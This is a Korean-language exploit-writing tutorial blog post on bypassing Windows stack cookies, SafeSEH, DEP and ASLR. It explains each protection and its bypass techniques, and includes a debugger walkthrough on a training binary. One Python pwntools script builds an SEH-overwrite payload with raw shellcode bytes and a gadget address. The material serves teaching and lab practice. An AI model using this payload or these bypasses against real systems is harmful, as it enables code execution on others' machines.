cgy12306

Exploit writing tutorial part 6 : Bypassing stack Cookies, safeSEH, SEHOP, HW DEP and ASLR 본문

Windows/WinPwn

Exploit writing tutorial part 6 : Bypassing stack Cookies, safeSEH, SEHOP, HW DEP and ASLR

cgy12306 2020. 4. 18. 13:11

Stack Cookies / GS protection

'/GS switch'는 스택 기반 오버플로우 공격을 차단하기 위해 함수의 시작과 끝부분에 약간의 코드를 추가하는 컴파일 옵션이다. 애플리케이션이 시작되면, 전역 마스터 쿠키(부호 없는 정수 형식의 4byte)가 계산되고 로드된 모듈의 .data 섹션에 저장된다. 함수 시작 부분에, 전역 마스터 쿠키가 저장된 EBP와 EIP 바로 전 스택에 복사된다.

buffer | cookie | ebp | eip

함수의 끝 부분에 쿠키는 다시 전역 마스터 쿠키 값과 비교해서 다르면 스택 오염이 발생된것으로 판단하여 프로그램은 비정상 종료 된다.

코드에 라인이 추가되는 것으로 인한 퍼포먼스 감소 영향을 최소화하기 위해, 컴파일러는 _alloca를 사용해 스택에 메모리를 할당하거나, 함수가 스트링 버퍼를 가지고 있을 때만 스택 쿠키를 추가한다. 이 보호 기법은 버퍼가 5byte 이상의 데이터를 가질 때 활성화 된다.

또 '/GS'에서 변수 재배치 기법을 사용한다. 컴파일러는 스택 프레임의 구성을 재배치하고 다른 변수들보다 높은 주소에 스트링 버퍼를 추가한다. 그래서 버퍼 오버플로우가 발생하더라도, 지역변수가 아닌 스트링 버퍼에 값이 쌓이게 된다.

스택 쿠키는 리눅스에서 canary로 불리기도 한다.

스택 쿠키 /GS 우회 방법

덮어쓴 쿠키가 원래의 쿠키값과 일치하지 않으면 코드는 항상 개발자가 정의한 예외 핸들러의 존재 여부를 찾게 된다. (정의된 핸들러가 없으면 운영체제 핸들러가 작동) 해커가 예외 핸들러 등록 구조체를 제어할 수 있고, 쿠키가 확인 되기 전에 예외를 발생시킬 수 있다면 스택 쿠키가 있다 하더라도 스택 기반 오버플로우를 쓸 수 있다.

예외 핸들링을 이용한 우회

함수의 시작 단계에서 쿠키 값을 체크하기 전에 예외를 발생시켜 스택 보호 매커니즘을 우회 할 수 있었다. 그 다음 공격자는 SEH 보호 매커니즘을 처기하게 된다. 이 두 번째 기술은 코드가 이 데이터를 실제로 참조하도록 작성되었을 때만 먹힌다. ㄱ오격자는 스택의 끝부분까지 데이터를 덮어쓰는 방식으로 이 기법을 사용할 수 있다.

 

buffer | cookie | SEH record | ebp | eip |argument
overwrite ----------------------------------------->

이 기법은 애플리케이션 예외 처리 부분까지 덮을 만큼 스택을 많이 덮어써야 한다.

스택에 있는 쿠키와 .data 섹션에 있는 쿠키를 교체하는 방법을 이용한 우회

취약한 코드가 스트링 버퍼를 포함하지 않을 경우(스택 쿠키 비활성화)에 다른 기법이 사용 가능하다.

만약 인자가 포인터나 스트링 버퍼를 버퍼를 포함하고 있지 않다면, 공격자는 이 인자를 덮어쓰고 GS에 의해 보호되지 않는 함수를 공격에 사용할 수 있다.

함수 내의 스택 데이터를 스택까지 덮어쓰는 방법을 이용한 우회

객체 및 구조체를 가리키는 포인터가 함수로 보내지면 이 객체 및 구조체는 그들의 caller의 스택에 상주하게 된다. 이렇게 되면 GS 쿠키 우회를 가능하게 한다. (객체과 vtable 포인터를 덮어쓸 수 있다면 임의의 코드를 실행할 수 있게 된다.)

쿠키 값을 추측 및 계산하는 방법을 이용한 우회

GS 쿠키의 엔트로피를 낮추는 방법을 이용한다.

쿠키 값이 정적인 점을 이용한 우회

쿠키 값이 매번 같거나 정적인 값을 가진다고 판단되는 경우, 공격자는 스택에 이 값을 덮어쓰면 된다.

스택 쿠키 매커니즘 디버깅 및 설명

윈도우 시스템 해킹가이드 버그헌팅과 익스플로잇 교본 자료실에서 바이너리를 다운 받았다.

http://cafe.naver.com/secuholic ⇒ 윈도우 시스템해킹 가이드 ⇒ 자료실

reader.exe 파일에는 스택 쿠키 보호기법이 추가 되어 있다.

이 부분이 스택 쿠키를 넣는 부분이다. 403000에서 값을 가져와서 EAX 레지스터에 넣고, EBP와 XOR 연산을 거친후 EBP-4에 넣는다.

eax에 스택 쿠키값을 확인했고, 스택에 쿠키가 들어가 있는것을 볼 수 있다.

함수가 종료하기 전에 EBP-4에서 값을 ECX로 가져오고, EBP와 XOR 연산해서 값을 검증한다.

만약 이 스택 쿠키가 변조가 됐으면 프로그램이 종료된다.

a.txt 파일에 A를 엄청 많이 넣었더니 스택 쿠키를 검증하지 않고, 예외처리가 발생하여 eip를 덮게 된다.

SafeSEH

SafeSEH는 SEH 기반 공격 시도를 실시간으로 차단해 주는 보안 매커니즘이다.

/safeSEH 컴파일러 스위치를 모든 실행 가능한 모듈에 적용할 수 있다.

만약 SEH 체인이 변조되면 애플리케이션은 변조된 핸들러로 점프하지 않고 종료된다.

SafeSEH는 예외 핸들링 체인이 실제 핸들러로 이동하기 전에 변조 여부를 검사한다.

체인의 끝(0xffffffff)까지 값을 검증한다.

SafeSEH 우회

SafeSEH는 컴파일 시 옵션을 주었을 때만 동작하며, Handler가 특정 조건에 맞는지만 검증하므로, 이로 인해 몇 가지 우회할 수 있는 허점이 생긴다.

우선 SafeSEH는 예외 핸들러 포인터가 호출 될 때, ntdll.dll는 이 포인터가 유효한 것인지 먼저 체크한다.

첫째로, ntdll은 스택의 주소로 직접 재 점프 해 오는 코드를 제거한다. 이것은 스택의 높은 부분과 낮은 부분의 주소를 살펴 보는 방법을 이용한다(TEB 엔트리 중 FS:[4]와 FS:[8]을 확인). 만약 포인터가 스택 상의 주소를 가리키고 있다면 핸들러는 호출되지 않는다.

핸들러 포인터가 스택 주소가 아니라면 해당 주소는 코드가 로드된 모듈 중 하나의 주소 범위를 가리키고 있는지 확인하기 위해 모듈 리스트와 다시 비교된다. 만약 일치하는 부분이 있다면, 포인터 사용이 허용된다. 확인 작업 중에서 로드 설정 디렉토리를(Load Configuration Directory) 이용한다. 모듈이 LCD를 가지고 있지 않다면, 핸들러는 정상 호출된다.

로드 된 모듈 주소 범위 밖의 주소를 이용한 SafeSEH 우회

로드 된 모듈 밖에 위치한 메모리 영역에서 pop/pop/ret 명령을 찾을 수 있지만 모든 OS 버전에서 사용 가능한 것은 아니다.

이러한 제한 사항을 극복하는 다른 방법은 다른 명령어 세트를 찾아보는 것이다.

call dword ptr[esp+nn]
jmp dword ptr[esp+nn]
call dword ptr[ebp+nn]
jmp dword ptr[ebp+nn]
call dword ptr[ebp-nn]
jmp dword ptr[ebp-nn]

esp+8, esp+14, esp+2c, ebp+24, ebp+30, ebp-18 등등

만약 esp+8 이 예외 등록 구조체를 가리킨다면 'add esp+8 + ret' 명령어를 검색해 사용하면 SafeSEH를 우회할 수 있을 것이다.

reader.exe를 이용해서 실습을 진행하겠다.

ollydbg에서 safeSEH를 스캔해보면 ntdll.dll, MSVCR100.dll, kernel32.dll에 SafeSHE기법이 걸려있지만 해당 바이너리에는 SafeSEH 기법이 걸려있지 않다.

즉 이 바이너리에서 가젯을 찾아서 사용해야 한다.

call dword ptr [ebp+0xn] : ff 55 n

가젯은 이중 하나를 사용하면 된다.

0x00280b0b를 사용하겠다.

스택에 값이 들어갔고, SEH 체인을 우리가 구성할 수 있다.

오프셋은 560 바이트만큼 떨어져있다.

cc를 만나서 브레이크 포인트가 걸린 것을 볼 수 있다.

from pwn import *

size = 556
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'


payload = shellcode
payload += 'A' * (size-len(shellcode))
payload += '\xeb\x06\x90\x90'
payload += p32(0x00280b0b)
payload += 'A' * 500

f = open('a.txt', 'w')
f.write(payload)
f.close()

DEP

DEP는 실행 불가능한 페이지를 만들어 무작위로 만든 쉘코드를 실행할 수 없도록 한다.

기본적으로 스택 자체나 스택의 일부분을 실행 불가능한 영역으로 표시한다.

DEP는 두가지 모드에서 실행이 된다.

하드웨어 기반 DEP는 메모리 페이지를 실행 불가능한 영역으로 마크한다(NX bit).

소프트웨어 기반 DeP는 하드웨어 지원은 되지 않는다. 소프트웨어 DEP는 데이터 페이지에서 코드 실행을 보호하지 못하지만 SEH 기반 공격은 막을 수는 있따.

소프트웨어 DEP는 SafeSEH라고 할 수 있다. NX bit와는 무관하다.

프로세서나 시스템이 NX bit를 지원한다면 윈도우 DEP는 곧 하드웨어 DEP가 된다. 만약 프로세서가 NX를 지원하지 않는다면, 사용자는 DEP가 아닌 SafeSEH 기능만 사용할 수 있다.

NX/XD 비트

하드웨어 기반 DEP는 32비트 윈도우에서는 PAE 커널의 자동 사용을, 64비트 커널에서는 네이티브 지원을 통해 호환 간으한 CPU 상에서 NX 비트를 활성화 시킨다.

NX 비트의 원리는 BIOS가 NX를 활성화 할 수 있도록 설정되고, 운영체제에서 이를 따라 지원하게 된다. 이렇게 되면 최소한 시스템 프로세스는 DEP로 보호가 가능하며, DEP 환경 설정에 따라 애플리케이션까지 보호할 수 있다.

하드웨어 DEP 우회

  1. ret2libc (no shellcode, RTL)

RTL은 쉘코드로 점프하는게 아닌 기존의 라이브러리 또는 함수를 호출하는 방법이다.

라이브러리/함수 내의 코드가 실행되고, 공격자가 의도한 코드가 실행된다.

공격자는 EIP를 라이브러리 안에 존재하는 코드로 이동하도록 하는 호출문으로 덮어쓴다.

NX/XD 비트가 코드 실행을 막더라도 라이브러리 코드 자체는 여전히 실행될 수 있어서 공격에 이용 가능하다.

  1. ZwProtectVirtualMemory

여러개의 RTL 함수를 체인으로 연결해 메모리의 특정 부분의 실행 가능 여부를 재정의 하는 기술이다. 함수 호출이 리턴될 때, 스택은 VirtualProtect 함수를 호출하는 것처럼 설정 된다.

이 함수에 전달되는 매개변수들 중 하나가 바로 리턴 주소이다.

만약 공격자가 이 리턴 주소를 jmp esp와 같은 코드로 변조하면 VirtualProtect 함수가 리턴될 때 공격자는 ESP에 위치한 쉘코드를 얻을 수 있고, 공격을 할 수 있다. 다른 매개변수들을 쉘코드의 주소, 사이즈 등을 담당하게 된다. VirtualProtect로 리턴해 들어가는 것은 null byte 사용을 필요로 한다.

  1. Disable DEP for the process(NtSetInformationProcess)

DEP가 여러가지 모드를 가지고 있는 관계로, OS는 기본적으로 각 프로세스에 대해 DEP를 해제할 수 있어야 한다. 고로, NX 활성화 유무를 담당하는 코드를 가지는 핸들러나 API가 존재할 것이다. 해커는 ntdll에 있는 API를 이용해 DEP 보호 매커니즘을 우회할 수 있따.

DEP 세팅은 커널의 Flag 필드에 저장된다(KPROCESS 구조체).

이 값은 NtQueryInformationProcess와 NtSetInformationProcess를 ProcessExecuteFlags(0x22) 또는 커널 디버거와 함께 사용하면 획득 및 변경될 수 있다.

  1. ROP(Return Oriented Programming)

함수를 호출하기 위해서는 쉘코드 주소, 크기 등 적절한 인자 값이 필요하며, 인자 값을 구성하고 함수를 호출하기 위해 사용되는 기술이 바로 ROP이다.

ROP에서는 가젯의 CHain을 만들어서 원하는 코드 조각들을 여러번 실행한다.

가젯이란 'Mov eax, 5 ; ret', 'add ebx, 3 ; ret' 처럼 ret으로 끝나는 명령어 조각들을 말한다. 이러한 명령어 조각들을 연결하여 ROP 체인으로 만든다.

ASLR

aslr은 스택 힙과 같은 영역의 주소를 랜덤화하는 기법이다.

bypassing ASLR

ASLR 기법은 주소의 일부만 랜덤화 한다.

만약 0x12345678이라는 주소가 메모리에 저장된다면 다음과 같이 저장된다.

87 65 43 21

ASLR이 활성화 되면 43과 21만 무작위로 할당된다.

저장된 EIP가 0x12345678(0x1234는 주소의 랜덤화된 부분, 5678은 실제 저장된 EIP를 가리킴)이라고 가정해보자.

0x1234XXXX공간에서 jmp esp등 코드를 찾을수 있다면 익스플로잇을 할 수 있을 것이다.

Comments